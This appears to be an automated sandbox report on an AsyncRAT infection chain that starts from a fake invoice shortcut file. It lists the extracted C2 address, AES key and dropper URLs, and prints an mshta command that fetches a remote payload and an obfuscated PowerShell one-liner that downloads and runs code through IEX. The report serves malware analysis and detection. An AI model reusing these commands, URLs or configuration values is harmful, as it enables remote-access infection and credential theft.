asyncrat | 9d5eef4b39df0149096f70bde04f9704e0740e93b1f7911d1ad7a79fb7918cf8

General

Target

Invoice#333210.lnk
Size

1KB
MD5

fd00b923c37b36bfda9a7d78e370f4fc
SHA1

a2f41a4e6f6778b8232054531f58aa083bcc455b
SHA256

9d5eef4b39df0149096f70bde04f9704e0740e93b1f7911d1ad7a79fb7918cf8
SHA512

b010dae295e3b2a25e158ff2b99d22c762d4b0f3fec6d8eb1a64b63946d7b6852254f955d7a377d40b4e77761b7a9017c8e1e0025b618be5eb49dde8834042c9

Score

10^/10

asyncrat rat suricata

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://ia601405.us.archive.org/29/items/async-rat-stealer-hta-23456789/AsyncRAT_stealer_hta_23456789.txt

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://ia601503.us.archive.org/0/items/asyncRAT_stealer_all_32456789/asyncRAT_stealer_all_32456789.txt

Extracted

Family

asyncrat

Version

0.5.7B

C2

103.147.184.73:7920

Mutex

AsyncMutex_6SI8OkPnk

Attributes

aes_key
1DM6U4ipQ53iwuPgxDRkDV4Ly78xKAPF
anti_detection
false
autorun
false
bdos
false
delay
Default
host
103.147.184.73
hwid
3
install_file
install_folder
%AppData%
mutex
AsyncMutex_6SI8OkPnk
pastebin_config
null
port
7920
version
0.5.7B

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat
suricata: ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)
suricata

Async RAT payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/360-72-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral1/memory/360-73-0x000000000040C71E-mapping.dmp	asyncrat
behavioral1/memory/360-74-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

7 1396 mshta.exe
9 1396 mshta.exe
11 1396 mshta.exe
13 732 powershell.exe
15 732 powershell.exe

flow	pid	process
7	1396	mshta.exe
9	1396	mshta.exe
11	1396	mshta.exe
13	732	powershell.exe
15	732	powershell.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 732 set thread context of 360	732	powershell.exe	aspnet_compiler.exe
PID 732 set thread context of 1776	732	powershell.exe	aspnet_compiler.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main mshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 0f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec53726187760b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b06010505070303140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e31d000000010000001000000099949d2179811f6b30a8c99c4f6b42260300000001000000140000002796bae63f1801e277261ba0d77770028f20eee420000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 19000000010000001000000063664b080559a094d10f0a3c5f4f62900300000001000000140000002796bae63f1801e277261ba0d77770028f20eee41d000000010000001000000099949d2179811f6b30a8c99c4f6b4226140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e309000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec537261877620000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

aspnet_compiler.exe

pid process

1776 aspnet_compiler.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

732 powershell.exe
732 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeaspnet_compiler.exe

description pid process

Token: SeDebugPrivilege 732 powershell.exe
Token: SeDebugPrivilege 360 aspnet_compiler.exe

pid	process
1776	aspnet_compiler.exe

pid	process
732	powershell.exe
732	powershell.exe

description	pid	process
Token: SeDebugPrivilege	732	powershell.exe
Token: SeDebugPrivilege	360	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

cmd.exemshta.exepowershell.exe

description	pid	process	target process
PID 1088 wrote to memory of 1396	1088	cmd.exe	mshta.exe
PID 1088 wrote to memory of 1396	1088	cmd.exe	mshta.exe
PID 1088 wrote to memory of 1396	1088	cmd.exe	mshta.exe
PID 1396 wrote to memory of 732	1396	mshta.exe	powershell.exe
PID 1396 wrote to memory of 732	1396	mshta.exe	powershell.exe
PID 1396 wrote to memory of 732	1396	mshta.exe	powershell.exe
PID 732 wrote to memory of 360	732	powershell.exe	aspnet_compiler.exe
PID 732 wrote to memory of 360	732	powershell.exe	aspnet_compiler.exe
PID 732 wrote to memory of 360	732	powershell.exe	aspnet_compiler.exe
PID 732 wrote to memory of 360	732	powershell.exe	aspnet_compiler.exe
PID 732 wrote to memory of 360	732	powershell.exe	aspnet_compiler.exe
PID 732 wrote to memory of 360	732	powershell.exe	aspnet_compiler.exe
PID 732 wrote to memory of 360	732	powershell.exe	aspnet_compiler.exe
PID 732 wrote to memory of 360	732	powershell.exe	aspnet_compiler.exe
PID 732 wrote to memory of 360	732	powershell.exe	aspnet_compiler.exe
PID 732 wrote to memory of 1776	732	powershell.exe	aspnet_compiler.exe
PID 732 wrote to memory of 1776	732	powershell.exe	aspnet_compiler.exe
PID 732 wrote to memory of 1776	732	powershell.exe	aspnet_compiler.exe
PID 732 wrote to memory of 1776	732	powershell.exe	aspnet_compiler.exe
PID 732 wrote to memory of 1776	732	powershell.exe	aspnet_compiler.exe
PID 732 wrote to memory of 1776	732	powershell.exe	aspnet_compiler.exe
PID 732 wrote to memory of 1776	732	powershell.exe	aspnet_compiler.exe
PID 732 wrote to memory of 1776	732	powershell.exe	aspnet_compiler.exe
PID 732 wrote to memory of 1776	732	powershell.exe	aspnet_compiler.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Invoice#333210.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1088

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" "https://ia601405.us.archive.org/29/items/async-rat-stealer-hta-23456789/AsyncRAT_stealer_hta_23456789.txt"
2⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://ia601503.us.archive.org/0/items/asyncRAT_stealer_all_32456789/asyncRAT_stealer_all_32456789.txt';$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFBBBBBBBBBBBBBBHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('BBBBBBBBBBBBBBHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S');$ERTTDYFYUGUYTREZRTFYGKUFDSS45HD6F7GK=&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');
3⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:732

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:360

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
4⤵
- Suspicious behavior: AddClipboardFormatListener
PID:1776

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Install Root Certificate

1

T1130

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
MD5
2902de11e30dcc620b184e3bb0f0c1cb

SHA1
5d11d14a2558801a2688dc2d6dfad39ac294f222

SHA256
e6a7f1f8810e46a736e80ee5ac6187690f28f4d5d35d130d410e20084b2c1544

SHA512
efd415cde25b827ac2a7ca4d6486ce3a43cdcc1c31d3a94fd7944681aa3e83a4966625bf2e6770581c4b59d05e35ff9318d9adaddade9070f131076892af2fa0

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
MD5
905759c2dff6b15387322dc5176fa25a

SHA1
55e333e2fec92427e6d8c7a6a9dfd407e20f7c57

SHA256
1c15bb6d44a879c28c5ac618a226d0b8d7365f6c4f48d4e21e0f9297525bed73

SHA512
164e3851fc2d8e8a55b2f15ec1dc20e31f9719e6775ac5e6de582fb7fb1adde8d50d0efc72acc7ee7c5702911e83b9bf77c4d67361ef73dbb08883fa8c06e739

Download Submit
memory/360-72-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/360-83-0x0000000000B80000-0x0000000000B81000-memory.dmp

Filesize
4KB

Download
memory/360-82-0x0000000075561000-0x0000000075563000-memory.dmp

Filesize
8KB

Download
memory/360-74-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/360-73-0x000000000040C71E-mapping.dmp

Download
memory/732-70-0x000000001C670000-0x000000001C671000-memory.dmp

Filesize
4KB

Download
memory/732-65-0x000000001B350000-0x000000001B351000-memory.dmp

Filesize
4KB

Download
memory/732-69-0x000000001B6A0000-0x000000001B6A1000-memory.dmp

Filesize
4KB

Download
memory/732-61-0x0000000000000000-mapping.dmp

Download
memory/732-71-0x000000001B3B0000-0x000000001B3BE000-memory.dmp

Filesize
56KB

Download
memory/732-67-0x0000000002360000-0x0000000002362000-memory.dmp

Filesize
8KB

Download
memory/732-66-0x00000000027C0000-0x00000000027C1000-memory.dmp

Filesize
4KB

Download
memory/732-68-0x0000000002364000-0x0000000002366000-memory.dmp

Filesize
8KB

Download
memory/732-63-0x0000000002680000-0x0000000002681000-memory.dmp

Filesize
4KB

Download
memory/732-64-0x000000001A9E0000-0x000000001A9E1000-memory.dmp

Filesize
4KB

Download
memory/1088-59-0x000007FEFB881000-0x000007FEFB883000-memory.dmp

Filesize
8KB

Download
memory/1396-60-0x0000000000000000-mapping.dmp

Download
memory/1776-79-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/1776-81-0x0000000004C90000-0x0000000004C91000-memory.dmp

Filesize
4KB

Download
memory/1776-78-0x0000000000402DAE-mapping.dmp

Download
memory/1776-77-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads